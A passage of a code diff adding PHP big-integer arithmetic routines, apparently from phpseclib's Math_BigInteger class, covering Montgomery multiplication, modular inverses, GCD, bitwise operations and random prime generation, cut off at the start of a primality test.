+            $temp = array_merge($this->_array_repeat(0, $i), $temp);
+            $result = $this->_add($result[MATH_BIGINTEGER_VALUE], false, $temp, false);
+        }
+
+        $result[MATH_BIGINTEGER_VALUE] = array_slice($result[MATH_BIGINTEGER_VALUE], $k);
+
+        if ($this->_compare($result, false, $n, false) >= 0) {
+            $result = $this->_subtract($result[MATH_BIGINTEGER_VALUE], false, $n, false);
+        }
+
+        return $result[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * Montgomery Multiply
+     *
+     * Interleaves the montgomery reduction and long multiplication algorithms together as described in
+     * {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=13 HAC 14.36}
+     *
+     * @see _prepMontgomery()
+     * @see _montgomery()
+     * @access private
+     * @param Array $x
+     * @param Array $y
+     * @param Array $m
+     * @return Array
+     */
+    function _montgomeryMultiply($x, $y, $m)
+    {
+        $temp = $this->_multiply($x, false, $y, false);
+        return $this->_montgomery($temp[MATH_BIGINTEGER_VALUE], $m);
+
+        // the following code, although not callable, can be run independently of the above code
+        // although the above code performed better in my benchmarks the following could might
+        // perform better under different circumstances. in lieu of deleting it it's just been
+        // made uncallable
+
+        static $cache = array(
+            MATH_BIGINTEGER_VARIABLE => array(),
+            MATH_BIGINTEGER_DATA => array()
+        );
+
+        if ( ($key = array_search($m, $cache[MATH_BIGINTEGER_VARIABLE])) === false ) {
+            $key = count($cache[MATH_BIGINTEGER_VARIABLE]);
+            $cache[MATH_BIGINTEGER_VARIABLE][] = $m;
+            $cache[MATH_BIGINTEGER_DATA][] = $this->_modInverse67108864($m);
+        }
+
+        $n = max(count($x), count($y), count($m));
+        $x = array_pad($x, $n, 0);
+        $y = array_pad($y, $n, 0);
+        $m = array_pad($m, $n, 0);
+        $a = array(MATH_BIGINTEGER_VALUE => $this->_array_repeat(0, $n + 1));
+        for ($i = 0; $i < $n; ++$i) {
+            $temp = $a[MATH_BIGINTEGER_VALUE][0] + $x[$i] * $y[0];
+            $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
+            $temp = $temp * $cache[MATH_BIGINTEGER_DATA][$key];
+            $temp = $temp - MATH_BIGINTEGER_BASE_FULL * (MATH_BIGINTEGER_BASE === 26 ? intval($temp / 0x4000000) : ($temp >> 31));
+            $temp = $this->_add($this->_regularMultiply(array($x[$i]), $y), false, $this->_regularMultiply(array($temp), $m), false);
+            $a = $this->_add($a[MATH_BIGINTEGER_VALUE], false, $temp[MATH_BIGINTEGER_VALUE], false);
+            $a[MATH_BIGINTEGER_VALUE] = array_slice($a[MATH_BIGINTEGER_VALUE], 1);
+        }
+        if ($this->_compare($a[MATH_BIGINTEGER_VALUE], false, $m, false) >= 0) {
+            $a = $this->_subtract($a[MATH_BIGINTEGER_VALUE], false, $m, false);
+        }
+        return $a[MATH_BIGINTEGER_VALUE];
+    }
+
+    /**
+     * Prepare a number for use in Montgomery Modular Reductions
+     *
+     * @see _montgomery()
+     * @see _slidingWindow()
+     * @access private
+     * @param Array $x
+     * @param Array $n
+     * @return Array
+     */
+    function _prepMontgomery($x, $n)
+    {
+        $lhs = new Math_BigInteger();
+        $lhs->value = array_merge($this->_array_repeat(0, count($n)), $x);
+        $rhs = new Math_BigInteger();
+        $rhs->value = $n;
+
+        list(, $temp) = $lhs->divide($rhs);
+        return $temp->value;
+    }
+
+    /**
+     * Modular Inverse of a number mod 2**26 (eg. 67108864)
+     *
+     * Based off of the bnpInvDigit function implemented and justified in the following URL:
+     *
+     * {@link http://www-cs-students.stanford.edu/~tjw/jsbn/jsbn.js}
+     *
+     * The following URL provides more info:
+     *
+     * {@link http://groups.google.com/group/sci.crypt/msg/7a137205c1be7d85}
+     *
+     * As for why we do all the bitmasking...  strange things can happen when converting from floats to ints. For
+     * instance, on some computers, var_dump((int) -4294967297) yields int(-1) and on others, it yields
+     * int(-2147483648).  To avoid problems stemming from this, we use bitmasks to guarantee that ints aren't
+     * auto-converted to floats.  The outermost bitmask is present because without it, there's no guarantee that
+     * the "residue" returned would be the so-called "common residue".  We use fmod, in the last step, because the
+     * maximum possible $x is 26 bits and the maximum $result is 16 bits.  Thus, we have to be able to handle up to
+     * 40 bits, which only 64-bit floating points will support.
+     *
+     * Thanks to Pedro Gimeno Fortea for input!
+     *
+     * @see _montgomery()
+     * @access private
+     * @param Array $x
+     * @return Integer
+     */
+    function _modInverse67108864($x) // 2**26 == 67,108,864
+    {
+        $x = -$x[0];
+        $result = $x & 0x3; // x**-1 mod 2**2
+        $result = ($result * (2 - $x * $result)) & 0xF; // x**-1 mod 2**4
+        $result = ($result * (2 - ($x & 0xFF) * $result))  & 0xFF; // x**-1 mod 2**8
+        $result = ($result * ((2 - ($x & 0xFFFF) * $result) & 0xFFFF)) & 0xFFFF; // x**-1 mod 2**16
+        $result = fmod($result * (2 - fmod($x * $result, MATH_BIGINTEGER_BASE_FULL)), MATH_BIGINTEGER_BASE_FULL); // x**-1 mod 2**26
+        return $result & MATH_BIGINTEGER_MAX_DIGIT;
+    }
+
+    /**
+     * Calculates modular inverses.
+     *
+     * Say you have (30 mod 17 * x mod 17) mod 17 == 1.  x can be found using modular inverses.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger(30);
+     *    $b = new Math_BigInteger(17);
+     *
+     *    $c = $a->modInverse($b);
+     *    echo $c->toString(); // outputs 4
+     *
+     *    echo "\r\n";
+     *
+     *    $d = $a->multiply($c);
+     *    list(, $d) = $d->divide($b);
+     *    echo $d; // outputs 1 (as per the definition of modular inverse)
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $n
+     * @return mixed false, if no modular inverse exists, Math_BigInteger, otherwise.
+     * @access public
+     * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=21 HAC 14.64} for more information.
+     */
+    function modInverse($n)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_invert($this->value, $n->value);
+
+                return ( $temp->value === false ) ? false : $this->_normalize($temp);
+        }
+
+        static $zero, $one;
+        if (!isset($zero)) {
+            $zero = new Math_BigInteger();
+            $one = new Math_BigInteger(1);
+        }
+
+        // $x mod -$n == $x mod $n.
+        $n = $n->abs();
+
+        if ($this->compare($zero) < 0) {
+            $temp = $this->abs();
+            $temp = $temp->modInverse($n);
+            return $this->_normalize($n->subtract($temp));
+        }
+
+        extract($this->extendedGCD($n));
+
+        if (!$gcd->equals($one)) {
+            return false;
+        }
+
+        $x = $x->compare($zero) < 0 ? $x->add($n) : $x;
+
+        return $this->compare($zero) < 0 ? $this->_normalize($n->subtract($x)) : $this->_normalize($x);
+    }
+
+    /**
+     * Calculates the greatest common divisor and Bezout's identity.
+     *
+     * Say you have 693 and 609.  The GCD is 21.  Bezout's identity states that there exist integers x and y such that
+     * 693*x + 609*y == 21.  In point of fact, there are actually an infinite number of x and y combinations and which
+     * combination is returned is dependant upon which mode is in use.  See
+     * {@link http://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity Bezout's identity - Wikipedia} for more information.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger(693);
+     *    $b = new Math_BigInteger(609);
+     *
+     *    extract($a->extendedGCD($b));
+     *
+     *    echo $gcd->toString() . "\r\n"; // outputs 21
+     *    echo $a->toString() * $x->toString() + $b->toString() * $y->toString(); // outputs 21
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $n
+     * @return Math_BigInteger
+     * @access public
+     * @internal Calculates the GCD using the binary xGCD algorithim described in
+     *    {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf#page=19 HAC 14.61}.  As the text above 14.61 notes,
+     *    the more traditional algorithim requires "relatively costly multiple-precision divisions".
+     */
+    function extendedGCD($n)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                extract(gmp_gcdext($this->value, $n->value));
+
+                return array(
+                    'gcd' => $this->_normalize(new Math_BigInteger($g)),
+                    'x'   => $this->_normalize(new Math_BigInteger($s)),
+                    'y'   => $this->_normalize(new Math_BigInteger($t))
+                );
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                // it might be faster to use the binary xGCD algorithim here, as well, but (1) that algorithim works
+                // best when the base is a power of 2 and (2) i don't think it'd make much difference, anyway.  as is,
+                // the basic extended euclidean algorithim is what we're using.
+
+                $u = $this->value;
+                $v = $n->value;
+
+                $a = '1';
+                $b = '0';
+                $c = '0';
+                $d = '1';
+
+                while (bccomp($v, '0', 0) != 0) {
+                    $q = bcdiv($u, $v, 0);
+
+                    $temp = $u;
+                    $u = $v;
+                    $v = bcsub($temp, bcmul($v, $q, 0), 0);
+
+                    $temp = $a;
+                    $a = $c;
+                    $c = bcsub($temp, bcmul($a, $q, 0), 0);
+
+                    $temp = $b;
+                    $b = $d;
+                    $d = bcsub($temp, bcmul($b, $q, 0), 0);
+                }
+
+                return array(
+                    'gcd' => $this->_normalize(new Math_BigInteger($u)),
+                    'x'   => $this->_normalize(new Math_BigInteger($a)),
+                    'y'   => $this->_normalize(new Math_BigInteger($b))
+                );
+        }
+
+        $y = $n->copy();
+        $x = $this->copy();
+        $g = new Math_BigInteger();
+        $g->value = array(1);
+
+        while ( !(($x->value[0] & 1)|| ($y->value[0] & 1)) ) {
+            $x->_rshift(1);
+            $y->_rshift(1);
+            $g->_lshift(1);
+        }
+
+        $u = $x->copy();
+        $v = $y->copy();
+
+        $a = new Math_BigInteger();
+        $b = new Math_BigInteger();
+        $c = new Math_BigInteger();
+        $d = new Math_BigInteger();
+
+        $a->value = $d->value = $g->value = array(1);
+        $b->value = $c->value = array();
+
+        while ( !empty($u->value) ) {
+            while ( !($u->value[0] & 1) ) {
+                $u->_rshift(1);
+                if ( (!empty($a->value) && ($a->value[0] & 1)) || (!empty($b->value) && ($b->value[0] & 1)) ) {
+                    $a = $a->add($y);
+                    $b = $b->subtract($x);
+                }
+                $a->_rshift(1);
+                $b->_rshift(1);
+            }
+
+            while ( !($v->value[0] & 1) ) {
+                $v->_rshift(1);
+                if ( (!empty($d->value) && ($d->value[0] & 1)) || (!empty($c->value) && ($c->value[0] & 1)) ) {
+                    $c = $c->add($y);
+                    $d = $d->subtract($x);
+                }
+                $c->_rshift(1);
+                $d->_rshift(1);
+            }
+
+            if ($u->compare($v) >= 0) {
+                $u = $u->subtract($v);
+                $a = $a->subtract($c);
+                $b = $b->subtract($d);
+            } else {
+                $v = $v->subtract($u);
+                $c = $c->subtract($a);
+                $d = $d->subtract($b);
+            }
+        }
+
+        return array(
+            'gcd' => $this->_normalize($g->multiply($v)),
+            'x'   => $this->_normalize($c),
+            'y'   => $this->_normalize($d)
+        );
+    }
+
+    /**
+     * Calculates the greatest common divisor
+     *
+     * Say you have 693 and 609.  The GCD is 21.
+     *
+     * Here's an example:
+     * <code>
+     * <?php
+     *    include 'Math/BigInteger.php';
+     *
+     *    $a = new Math_BigInteger(693);
+     *    $b = new Math_BigInteger(609);
+     *
+     *    $gcd = a->extendedGCD($b);
+     *
+     *    echo $gcd->toString() . "\r\n"; // outputs 21
+     * ?>
+     * </code>
+     *
+     * @param Math_BigInteger $n
+     * @return Math_BigInteger
+     * @access public
+     */
+    function gcd($n)
+    {
+        extract($this->extendedGCD($n));
+        return $gcd;
+    }
+
+    /**
+     * Absolute value.
+     *
+     * @return Math_BigInteger
+     * @access public
+     */
+    function abs()
+    {
+        $temp = new Math_BigInteger();
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp->value = gmp_abs($this->value);
+                break;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp->value = (bccomp($this->value, '0', 0) < 0) ? substr($this->value, 1) : $this->value;
+                break;
+            default:
+                $temp->value = $this->value;
+        }
+
+        return $temp;
+    }
+
+    /**
+     * Compares two numbers.
+     *
+     * Although one might think !$x->compare($y) means $x != $y, it, in fact, means the opposite.  The reason for this is
+     * demonstrated thusly:
+     *
+     * $x  > $y: $x->compare($y)  > 0
+     * $x  < $y: $x->compare($y)  < 0
+     * $x == $y: $x->compare($y) == 0
+     *
+     * Note how the same comparison operator is used.  If you want to test for equality, use $x->equals($y).
+     *
+     * @param Math_BigInteger $y
+     * @return Integer < 0 if $this is less than $y; > 0 if $this is greater than $y, and 0 if they are equal.
+     * @access public
+     * @see equals()
+     * @internal Could return $this->subtract($x), but that's not as fast as what we do do.
+     */
+    function compare($y)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                return gmp_cmp($this->value, $y->value);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                return bccomp($this->value, $y->value, 0);
+        }
+
+        return $this->_compare($this->value, $this->is_negative, $y->value, $y->is_negative);
+    }
+
+    /**
+     * Compares two numbers.
+     *
+     * @param Array $x_value
+     * @param Boolean $x_negative
+     * @param Array $y_value
+     * @param Boolean $y_negative
+     * @return Integer
+     * @see compare()
+     * @access private
+     */
+    function _compare($x_value, $x_negative, $y_value, $y_negative)
+    {
+        if ( $x_negative != $y_negative ) {
+            return ( !$x_negative && $y_negative ) ? 1 : -1;
+        }
+
+        $result = $x_negative ? -1 : 1;
+
+        if ( count($x_value) != count($y_value) ) {
+            return ( count($x_value) > count($y_value) ) ? $result : -$result;
+        }
+        $size = max(count($x_value), count($y_value));
+
+        $x_value = array_pad($x_value, $size, 0);
+        $y_value = array_pad($y_value, $size, 0);
+
+        for ($i = count($x_value) - 1; $i >= 0; --$i) {
+            if ($x_value[$i] != $y_value[$i]) {
+                return ( $x_value[$i] > $y_value[$i] ) ? $result : -$result;
+            }
+        }
+
+        return 0;
+    }
+
+    /**
+     * Tests the equality of two numbers.
+     *
+     * If you need to see if one number is greater than or less than another number, use Math_BigInteger::compare()
+     *
+     * @param Math_BigInteger $x
+     * @return Boolean
+     * @access public
+     * @see compare()
+     */
+    function equals($x)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                return gmp_cmp($this->value, $x->value) == 0;
+            default:
+                return $this->value === $x->value && $this->is_negative == $x->is_negative;
+        }
+    }
+
+    /**
+     * Set Precision
+     *
+     * Some bitwise operations give different results depending on the precision being used.  Examples include left
+     * shift, not, and rotates.
+     *
+     * @param Integer $bits
+     * @access public
+     */
+    function setPrecision($bits)
+    {
+        $this->precision = $bits;
+        if ( MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ) {
+            $this->bitmask = new Math_BigInteger(chr((1 << ($bits & 0x7)) - 1) . str_repeat(chr(0xFF), $bits >> 3), 256);
+        } else {
+            $this->bitmask = new Math_BigInteger(bcpow('2', $bits, 0));
+        }
+
+        $temp = $this->_normalize($this);
+        $this->value = $temp->value;
+    }
+
+    /**
+     * Logical And
+     *
+     * @param Math_BigInteger $x
+     * @access public
+     * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
+     * @return Math_BigInteger
+     */
+    function bitwise_and($x)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_and($this->value, $x->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $left = $this->toBytes();
+                $right = $x->toBytes();
+
+                $length = max(strlen($left), strlen($right));
+
+                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
+                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);
+
+                return $this->_normalize(new Math_BigInteger($left & $right, 256));
+        }
+
+        $result = $this->copy();
+
+        $length = min(count($x->value), count($this->value));
+
+        $result->value = array_slice($result->value, 0, $length);
+
+        for ($i = 0; $i < $length; ++$i) {
+            $result->value[$i]&= $x->value[$i];
+        }
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Logical Or
+     *
+     * @param Math_BigInteger $x
+     * @access public
+     * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
+     * @return Math_BigInteger
+     */
+    function bitwise_or($x)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_or($this->value, $x->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $left = $this->toBytes();
+                $right = $x->toBytes();
+
+                $length = max(strlen($left), strlen($right));
+
+                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
+                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);
+
+                return $this->_normalize(new Math_BigInteger($left | $right, 256));
+        }
+
+        $length = max(count($this->value), count($x->value));
+        $result = $this->copy();
+        $result->value = array_pad($result->value, $length, 0);
+        $x->value = array_pad($x->value, $length, 0);
+
+        for ($i = 0; $i < $length; ++$i) {
+            $result->value[$i]|= $x->value[$i];
+        }
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Logical Exclusive-Or
+     *
+     * @param Math_BigInteger $x
+     * @access public
+     * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
+     * @return Math_BigInteger
+     */
+    function bitwise_xor($x)
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                $temp = new Math_BigInteger();
+                $temp->value = gmp_xor($this->value, $x->value);
+
+                return $this->_normalize($temp);
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $left = $this->toBytes();
+                $right = $x->toBytes();
+
+                $length = max(strlen($left), strlen($right));
+
+                $left = str_pad($left, $length, chr(0), STR_PAD_LEFT);
+                $right = str_pad($right, $length, chr(0), STR_PAD_LEFT);
+
+                return $this->_normalize(new Math_BigInteger($left ^ $right, 256));
+        }
+
+        $length = max(count($this->value), count($x->value));
+        $result = $this->copy();
+        $result->value = array_pad($result->value, $length, 0);
+        $x->value = array_pad($x->value, $length, 0);
+
+        for ($i = 0; $i < $length; ++$i) {
+            $result->value[$i]^= $x->value[$i];
+        }
+
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Logical Not
+     *
+     * @access public
+     * @internal Implemented per a request by Lluis Pamies i Juarez <lluis _a_ pamies.cat>
+     * @return Math_BigInteger
+     */
+    function bitwise_not()
+    {
+        // calculuate "not" without regard to $this->precision
+        // (will always result in a smaller number.  ie. ~1 isn't 1111 1110 - it's 0)
+        $temp = $this->toBytes();
+        $pre_msb = decbin(ord($temp[0]));
+        $temp = ~$temp;
+        $msb = decbin(ord($temp[0]));
+        if (strlen($msb) == 8) {
+            $msb = substr($msb, strpos($msb, '0'));
+        }
+        $temp[0] = chr(bindec($msb));
+
+        // see if we need to add extra leading 1's
+        $current_bits = strlen($pre_msb) + 8 * strlen($temp) - 8;
+        $new_bits = $this->precision - $current_bits;
+        if ($new_bits <= 0) {
+            return $this->_normalize(new Math_BigInteger($temp, 256));
+        }
+
+        // generate as many leading 1's as we need to.
+        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
+        $this->_base256_lshift($leading_ones, $current_bits);
+
+        $temp = str_pad($temp, strlen($leading_ones), chr(0), STR_PAD_LEFT);
+
+        return $this->_normalize(new Math_BigInteger($leading_ones | $temp, 256));
+    }
+
+    /**
+     * Logical Right Shift
+     *
+     * Shifts BigInteger's by $shift bits, effectively dividing by 2**$shift.
+     *
+     * @param Integer $shift
+     * @return Math_BigInteger
+     * @access public
+     * @internal The only version that yields any speed increases is the internal version.
+     */
+    function bitwise_rightShift($shift)
+    {
+        $temp = new Math_BigInteger();
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                static $two;
+
+                if (!isset($two)) {
+                    $two = gmp_init('2');
+                }
+
+                $temp->value = gmp_div_q($this->value, gmp_pow($two, $shift));
+
+                break;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp->value = bcdiv($this->value, bcpow('2', $shift, 0), 0);
+
+                break;
+            default: // could just replace _lshift with this, but then all _lshift() calls would need to be rewritten
+                     // and I don't want to do that...
+                $temp->value = $this->value;
+                $temp->_rshift($shift);
+        }
+
+        return $this->_normalize($temp);
+    }
+
+    /**
+     * Logical Left Shift
+     *
+     * Shifts BigInteger's by $shift bits, effectively multiplying by 2**$shift.
+     *
+     * @param Integer $shift
+     * @return Math_BigInteger
+     * @access public
+     * @internal The only version that yields any speed increases is the internal version.
+     */
+    function bitwise_leftShift($shift)
+    {
+        $temp = new Math_BigInteger();
+
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                static $two;
+
+                if (!isset($two)) {
+                    $two = gmp_init('2');
+                }
+
+                $temp->value = gmp_mul($this->value, gmp_pow($two, $shift));
+
+                break;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                $temp->value = bcmul($this->value, bcpow('2', $shift, 0), 0);
+
+                break;
+            default: // could just replace _rshift with this, but then all _lshift() calls would need to be rewritten
+                     // and I don't want to do that...
+                $temp->value = $this->value;
+                $temp->_lshift($shift);
+        }
+
+        return $this->_normalize($temp);
+    }
+
+    /**
+     * Logical Left Rotate
+     *
+     * Instead of the top x bits being dropped they're appended to the shifted bit string.
+     *
+     * @param Integer $shift
+     * @return Math_BigInteger
+     * @access public
+     */
+    function bitwise_leftRotate($shift)
+    {
+        $bits = $this->toBytes();
+
+        if ($this->precision > 0) {
+            $precision = $this->precision;
+            if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_BCMATH ) {
+                $mask = $this->bitmask->subtract(new Math_BigInteger(1));
+                $mask = $mask->toBytes();
+            } else {
+                $mask = $this->bitmask->toBytes();
+            }
+        } else {
+            $temp = ord($bits[0]);
+            for ($i = 0; $temp >> $i; ++$i);
+            $precision = 8 * strlen($bits) - 8 + $i;
+            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
+        }
+
+        if ($shift < 0) {
+            $shift+= $precision;
+        }
+        $shift%= $precision;
+
+        if (!$shift) {
+            return $this->copy();
+        }
+
+        $left = $this->bitwise_leftShift($shift);
+        $left = $left->bitwise_and(new Math_BigInteger($mask, 256));
+        $right = $this->bitwise_rightShift($precision - $shift);
+        $result = MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_BCMATH ? $left->bitwise_or($right) : $left->add($right);
+        return $this->_normalize($result);
+    }
+
+    /**
+     * Logical Right Rotate
+     *
+     * Instead of the bottom x bits being dropped they're prepended to the shifted bit string.
+     *
+     * @param Integer $shift
+     * @return Math_BigInteger
+     * @access public
+     */
+    function bitwise_rightRotate($shift)
+    {
+        return $this->bitwise_leftRotate(-$shift);
+    }
+
+    /**
+     * Set random number generator function
+     *
+     * This function is deprecated.
+     *
+     * @param String $generator
+     * @access public
+     */
+    function setRandomGenerator($generator)
+    {
+    }
+
+    /**
+     * Generates a random BigInteger
+     *
+     * Byte length is equal to $length. Uses crypt_random if it's loaded and mt_rand if it's not.
+     *
+     * @param Integer $length
+     * @return Math_BigInteger
+     * @access private
+     */
+    function _random_number_helper($size)
+    {
+        if (function_exists('crypt_random_string')) {
+            $random = crypt_random_string($size);
+        } else {
+            $random = '';
+
+            if ($size & 1) {
+                $random.= chr(mt_rand(0, 255));
+            }
+
+            $blocks = $size >> 1;
+            for ($i = 0; $i < $blocks; ++$i) {
+                // mt_rand(-2147483648, 0x7FFFFFFF) always produces -2147483648 on some systems
+                $random.= pack('n', mt_rand(0, 0xFFFF));
+            }
+        }
+
+        return new Math_BigInteger($random, 256);
+    }
+
+    /**
+     * Generate a random number
+     *
+     * Returns a random number between $min and $max where $min and $max
+     * can be defined using one of the two methods:
+     *
+     * $min->random($max)
+     * $max->random($min)
+     *
+     * @param Math_BigInteger $arg1
+     * @param optional Math_BigInteger $arg2
+     * @return Math_BigInteger
+     * @access public
+     * @internal The API for creating random numbers used to be $a->random($min, $max), where $a was a Math_BigInteger object.
+     *           That method is still supported for BC purposes.
+     */
+    function random($arg1, $arg2 = false)
+    {
+        if ($arg1 === false) {
+            return false;
+        }
+
+        if ($arg2 === false) {
+            $max = $arg1;
+            $min = $this;
+        } else {
+            $min = $arg1;
+            $max = $arg2;
+        }
+
+        $compare = $max->compare($min);
+
+        if (!$compare) {
+            return $this->_normalize($min);
+        } else if ($compare < 0) {
+            // if $min is bigger then $max, swap $min and $max
+            $temp = $max;
+            $max = $min;
+            $min = $temp;
+        }
+
+        static $one;
+        if (!isset($one)) {
+            $one = new Math_BigInteger(1);
+        }
+
+        $max = $max->subtract($min->subtract($one));
+        $size = strlen(ltrim($max->toBytes(), chr(0)));
+
+        /*
+            doing $random % $max doesn't work because some numbers will be more likely to occur than others.
+            eg. if $max is 140 and $random's max is 255 then that'd mean both $random = 5 and $random = 145
+            would produce 5 whereas the only value of random that could produce 139 would be 139. ie.
+            not all numbers would be equally likely. some would be more likely than others.
+
+            creating a whole new random number until you find one that is within the range doesn't work
+            because, for sufficiently small ranges, the likelihood that you'd get a number within that range
+            would be pretty small. eg. with $random's max being 255 and if your $max being 1 the probability
+            would be pretty high that $random would be greater than $max.
+
+            phpseclib works around this using the technique described here:
+
+            http://crypto.stackexchange.com/questions/5708/creating-a-small-number-from-a-cryptographically-secure-random-string
+        */
+        $random_max = new Math_BigInteger(chr(1) . str_repeat("\0", $size), 256);
+        $random = $this->_random_number_helper($size);
+
+        list($max_multiple) = $random_max->divide($max);
+        $max_multiple = $max_multiple->multiply($max);
+
+        while ($random->compare($max_multiple) >= 0) {
+            $random = $random->subtract($max_multiple);
+            $random_max = $random_max->subtract($max_multiple);
+            $random = $random->bitwise_leftShift(8);
+            $random = $random->add($this->_random_number_helper(1));
+            $random_max = $random_max->bitwise_leftShift(8);
+            list($max_multiple) = $random_max->divide($max);
+            $max_multiple = $max_multiple->multiply($max);
+        }
+        list(, $random) = $random->divide($max);
+
+        return $this->_normalize($random->add($min));
+    }
+
+    /**
+     * Generate a random prime number.
+     *
+     * If there's not a prime within the given range, false will be returned.  If more than $timeout seconds have elapsed,
+     * give up and return false.
+     *
+     * @param Math_BigInteger $arg1
+     * @param optional Math_BigInteger $arg2
+     * @param optional Integer $timeout
+     * @return Mixed
+     * @access public
+     * @internal See {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=15 HAC 4.44}.
+     */
+    function randomPrime($arg1, $arg2 = false, $timeout = false)
+    {
+        if ($arg1 === false) {
+            return false;
+        }
+
+        if ($arg2 === false) {
+            $max = $arg1;
+            $min = $this;
+        } else {
+            $min = $arg1;
+            $max = $arg2;
+        }
+
+        $compare = $max->compare($min);
+
+        if (!$compare) {
+            return $min->isPrime() ? $min : false;
+        } else if ($compare < 0) {
+            // if $min is bigger then $max, swap $min and $max
+            $temp = $max;
+            $max = $min;
+            $min = $temp;
+        }
+
+        static $one, $two;
+        if (!isset($one)) {
+            $one = new Math_BigInteger(1);
+            $two = new Math_BigInteger(2);
+        }
+
+        $start = time();
+
+        $x = $this->random($min, $max);
+
+        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
+        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
+            $p = new Math_BigInteger();
+            $p->value = gmp_nextprime($x->value);
+
+            if ($p->compare($max) <= 0) {
+                return $p;
+            }
+
+            if (!$min->equals($x)) {
+                $x = $x->subtract($one);
+            }
+
+            return $x->randomPrime($min, $x);
+        }
+
+        if ($x->equals($two)) {
+            return $x;
+        }
+
+        $x->_make_odd();
+        if ($x->compare($max) > 0) {
+            // if $x > $max then $max is even and if $min == $max then no prime number exists between the specified range
+            if ($min->equals($max)) {
+                return false;
+            }
+            $x = $min->copy();
+            $x->_make_odd();
+        }
+
+        $initial_x = $x->copy();
+
+        while (true) {
+            if ($timeout !== false && time() - $start > $timeout) {
+                return false;
+            }
+
+            if ($x->isPrime()) {
+                return $x;
+            }
+
+            $x = $x->add($two);
+
+            if ($x->compare($max) > 0) {
+                $x = $min->copy();
+                if ($x->equals($two)) {
+                    return $x;
+                }
+                $x->_make_odd();
+            }
+
+            if ($x->equals($initial_x)) {
+                return false;
+            }
+        }
+    }
+
+    /**
+     * Make the current number odd
+     *
+     * If the current number is odd it'll be unchanged.  If it's even, one will be added to it.
+     *
+     * @see randomPrime()
+     * @access private
+     */
+    function _make_odd()
+    {
+        switch ( MATH_BIGINTEGER_MODE ) {
+            case MATH_BIGINTEGER_MODE_GMP:
+                gmp_setbit($this->value, 0);
+                break;
+            case MATH_BIGINTEGER_MODE_BCMATH:
+                if ($this->value[strlen($this->value) - 1] % 2 == 0) {
+                    $this->value = bcadd($this->value, '1');
+                }
+                break;
+            default:
+                $this->value[0] |= 1;
+        }
+    }
+
+    /**
+     * Checks a numer to see if it's prime
+     *
+     * Assuming the $t parameter is not set, this function has an error rate of 2**-80.  The main motivation for the
+     * $t parameter is distributability.  Math_BigInteger::randomPrime() can be distributed across multiple pageloads
+     * on a website instead of just one.
+     *
+     * @param optional Math_BigInteger $t
+     * @return Boolean
+     * @access public
+     * @internal Uses the
+     *     {@link http://en.wikipedia.org/wiki/Miller%E2%80%93Rabin_primality_test Miller-Rabin primality test}.  See
+     *     {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap4.pdf#page=8 HAC 4.24}.
+     */
+    function isPrime($t = false)
